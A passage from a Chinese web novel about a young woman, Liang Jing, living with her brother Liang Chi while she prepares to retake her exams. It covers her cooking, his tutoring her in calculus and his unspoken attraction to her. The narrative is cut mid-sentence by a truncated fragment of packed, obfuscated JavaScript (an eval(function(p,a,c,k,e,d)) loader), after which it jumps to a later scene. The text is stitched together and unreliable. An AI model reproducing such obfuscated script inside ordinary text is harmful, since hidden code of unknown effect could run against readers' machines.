第一次有人吃她做的饭,梁鲸想要一个评价,无论好的坏的。 梁弛视线在她身上停了几秒,说:“能吃。” 在梁鲸看来,这已经算是一个不错的评价了。能做点有用的事情,她唇角不自觉微微上扬。 她把洗干净的碗摆放好,再把电锅拿过来。清洗电锅时谨慎了许多,怕哪里不小心进水了,尤其是插电孔。 也因此,她腰弯得更低。 梁弛没多逗留,戴上帽子,跟她说了句:“我走了。” 梁鲸“嗯”声。 他出门前看了她一眼,阳光从窗户斜照进来,映在她后背上,她弯着腰,衣服往上缩了一截,后腰露了出来,一小片皮肤蒙着光,白得刺目。 梁弛喉结微滚,收回目光,关上门离开。 13. 檐下雨 傍晚时分,梁弛又回来一趟。 梁鲸把晚饭做好,还是面,他垂眸看了眼,沉默地吃面。 一天两顿面,难免要腻。 可她只会煮面,不过幸好梁弛也没有多说什么。 末了,梁弛指了指门口放着的纸箱:“高中课本,还有一些习题册。” 梁鲸顺着看过去,其实她刚才就注意到了,不知道是什么,以为是他的东西,就没开口问。 那个纸箱挺大的,装着书,可想而知会很沉,他就这么搬着一路回来。 她睫毛颤动一下,问:“哪来的?” “周成扬的。”梁弛没多解释。 梁鲸有些意外,早上跟他答应的事,晚上就已经办好了。 她走过去蹲下,拿出一本随手翻了几页,课本和她在霖城学的是一个版本,上边龙飞凤舞记了很多笔记。 他可能是提前确认过的,才带回来给她。 “谢谢哥。”梁鲸眼尾弯弯,像是说给他听,也像是给自己打气,“我会认真复习的。” 梁弛听着,扯了扯唇,没应声。 吃过晚饭,他还要去修车店,再回来已经是晚上十点多了。还未上楼,就看到三楼亮着灯,暖黄色,从窗子里透出柔和的、模糊的边。 他停下脚步,仰头看了几秒,才上楼。 梁鲸在复习。 她没坐在书桌前,而是坐在吃饭的塑料椅上,之前照片掉出来那次,让她对书桌产生了些许阴影。 梁弛进门时,梁鲸下意识抬起头看他。 因为塑料椅很低,她的膝盖曲起来,课本放在膝头,脖颈向前倾着,以一个类似于蜷缩的姿势在看书。 梁弛皱起眉,说她:“不嫌难受?” 梁鲸摇摇头,把书放在一边,站起身,“还好。” 晚饭过后她开始看书,刚拿到手里有股新鲜劲儿,专注力全在本子上,没觉得多难受,况且中途她也有起身活动,去洗漱吃药。 她说的是实话,但她不知道刚才蜷着的姿势看起来有多可怜兮兮。 梁弛眯起眼,一言不发走向书桌。书架已经摆满了,桌子上还有几本专业课本,是他前段时间复习用到的,书架放不下,就整齐摞起来平放在桌上。 他把这摞书放进书桌下边的柜子里,桌面整理干净,只剩下电脑。 他做这些时没回头看她,淡声说:“不嫌难受就一直蜷着,别过来。” 梁鲸“嗯”了一声,真的站在原地不敢动了。 梁弛收拾完,回过头,看到她像是罚站一样,怀里抱着书,一动不动。 他胸腔微微震动,想发笑,气音低哼着说:“过来。” 梁鲸思维混乱一瞬,到底让不让她过去? 犹豫了下,她慢吞吞走过去,“怎么了?” “坐下。”梁弛说。 梁鲸缓慢照做。 她拘谨地坐在书桌前,因为坐着,要看他就只能仰起头,疑惑地眨眨眼。 梁弛低头看她,又很快挪开,屈指敲了敲书桌,“以后坐这复习,电脑你可以用,没密码,但是别乱看我的东西。” 梁鲸张张唇,在这天之内第二次跟他道谢。 “谢谢哥。” 梁弛没有回她。 梁鲸隐约感觉到,他好像不太想听到这个。感谢就代表他帮了她,他不喜欢这样,他以前就不喜欢这样。 之后的一段时间,梁鲸按部就班地复习。 她制定了计划表,现阶段的首要任务不是刷题,而是全面地梳理回顾课本上的内容,先建立一个框架,等到九月份正式复读再开始刷题。 因为有高中三年的基础在,重刷起来速度很快,她没在课本上做过笔记,毕竟这是别人的课本,就算人家现在不需要了,她也不会随意涂写。 她把笔记都记在一个本子上,写满就换下一个本子。 复习之余,每天还是照常做午饭和晚饭,对梁鲸来说,这不是负担,更像是学习累了转换一下脑袋,活动活动。 除了在电脑上查资料之外,她还会搜索一些简易菜的做法。比如,能一锅直接把米饭和菜一起蒸,还有晚上会煮解暑的绿豆汤,做一些很简单的凉拌菜。 她变了菜式,梁弛还是没说什么,仿佛吃什么对他来说也不重要。 他不评价,她其实挺没成就感的。 那天晚上,梁鲸煮了绿豆汤,还做了一道凉拌黄瓜,等他吃完,她问:“怎么样?” 她自己没察觉,但梁弛一抬眼就对上她期待的目光,唇微微抿着,眼睛瞪得很大。 他回:“还行。” 从能吃到还行,这本身就是一种进步,梁鲸把这句话当成是在夸她,眼尾弯起,把碗收起来。 后来,梁弛要用电脑,在浏览器的搜索记录里看到这几条: 一锅出的米饭加什么配菜? 夏天晚饭吃什么? 绿豆汤需要煮多久? 简单凉拌菜大全。 还有很多关于资料整理,某个知识点详解,历史搜索记录全是她输入的内容,把他以前的记录都覆盖了。 梁弛盯着看了会儿,鼠标放在清空搜索记录上,却迟迟没有点下去。 这个暑假格外得热。 院子里的香樟撑开巨大的树冠,蝉鸣如沸,从早到晚,在这个聒噪而又热烈的夏天,梁鲸待在筒子楼的小房间里,那一颗因为家庭巨变而彷徨无措的心渐渐安定下来。 不需要为了钱和住所发愁,她可以安心地复习。尽管梁弛态度依然不算好,可是他让她住在这里,帮她要工资,让她复读,也许他自己都不愿意承认,但他确实收留了她,接纳了她,像哥哥照顾妹妹那样。 他们甚至比从前更像兄妹。 梁鲸觉得,曾经在家庭的环境中产生的隔阂,似乎随着家的破碎而慢慢变得薄弱。 她用笔帽支着下巴,抬起头,看向窗外的香樟树,很高大,她在三楼都看得到。 再低下头时,数学课本上关于导数及其应用还是一知半解,她的数学基础一直不算好,课堂上许多知识听得吃力,现在离开了课堂,她在网上找课件来看,仍听不太懂。 这晚,她坐在书桌前,梁弛回来看到她在复习,没打扰,径直进了卫生间。 他出来时,梁鲸在用笔帽戳着脸颊,戳进去一个小小的窝,她问:“哥,你能不能给我讲讲这一章?” 梁弛胡乱擦了擦头发,走过去,单手撑在桌子上,稍微俯身:“哪儿?” 梁鲸用笔在课本上指了指,“这一章,我会求导,也会算极值,但是综合在一起就乱了。” 梁弛看着她指的地方,这一章要系统性给她讲清楚需要很多时间,他没说定义和原理,只和她讲了最实用的解题思路,一步一步跟她说。 梁鲸听着他讲步骤,在本子上练了一道习题,答案是做出来的,对的。但这一步为什么要这样她不明白,单纯就是跟着他说的往下写。 再换一题,她就写不出来了。 她如同一个在老师谆谆教诲下还是不开窍的学生,勉强地笑笑,尴尬而又心虚。 老师的叹气声在她耳边,很轻。 “有些题不用非要去弄懂。”梁弛说,“与其纠结没把握的题,不如确保会的题都能得分。” 梁鲸不太甘心,又觉得他说的话很实际,听话地点点头:“嗯,知道了。” 免费的老师果然没有耐心,她在心里边说。 梁弛并不知道她心中所想,他视线触及的地方,是一颗圆脑袋,头发披散着没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁鲸把头发随意绑了个低马尾,往厨房走,“对啦,天气预报说晚上要下雨,你等会儿出门记得带伞。” 没有人回应她。 梁弛目光紧紧盯着她晃动的裙摆,缓慢地上移,从指尖到微微凸起的腕骨,再到手臂白皙皮肤下若隐若现的青色血管,薄薄的肩,细长的锁骨。 最后是那张疑惑不解的脸,叫他:“哥?” 梁弛回过神,又闻到那股香气。 这一次他很清楚地知道气味的来源,不是他。 气压很低,空气仿佛纹丝不动,这种气味汇聚在房间里散不出去,越积越浓,令人心烦意乱。 梁弛眉心压得很深,语气生硬:“换一件。” 梁鲸手里还端着凉拌菜的盘子,怔了怔才意识到是在说她。 她把盘子放在折叠桌上,低头看了看身上的吊带裙。 这是一件完全算不上露的裙子,它的长度到小腿肚,领口也不低,系带约莫着有两指宽,不是那种细细一根勒着。米白色棉质的面料,没有任何修身的剪裁,也没有设计感的花纹。 无论怎么看,它都是一条再正常不过,可以随意外穿的吊带裙。 所以她随手拿起的时候,根本没有多想。 梁鲸用手指捏了捏裙子,又看向他,不太理解:“以前在家我就这么穿。” 外边的天色已经很暗了,黑压压的,昭示着暴雨欲来。 梁弛深深吸了一口气,犹觉不够,反复几次,可恨的是稀薄的空气里夹杂着浓厚的香气,更可恨的是这确实只是一件再正常不过的裙子。 她说,这件裙子她以前在家就这么穿。 裙子没有变,洗发水和沐浴露的配料表也没有变。 那变的究竟是什么? 梁弛背过身,不看她,不去想,他提醒:“现在不一样。” 身后的声音懵懂困惑:“哪里不一样?”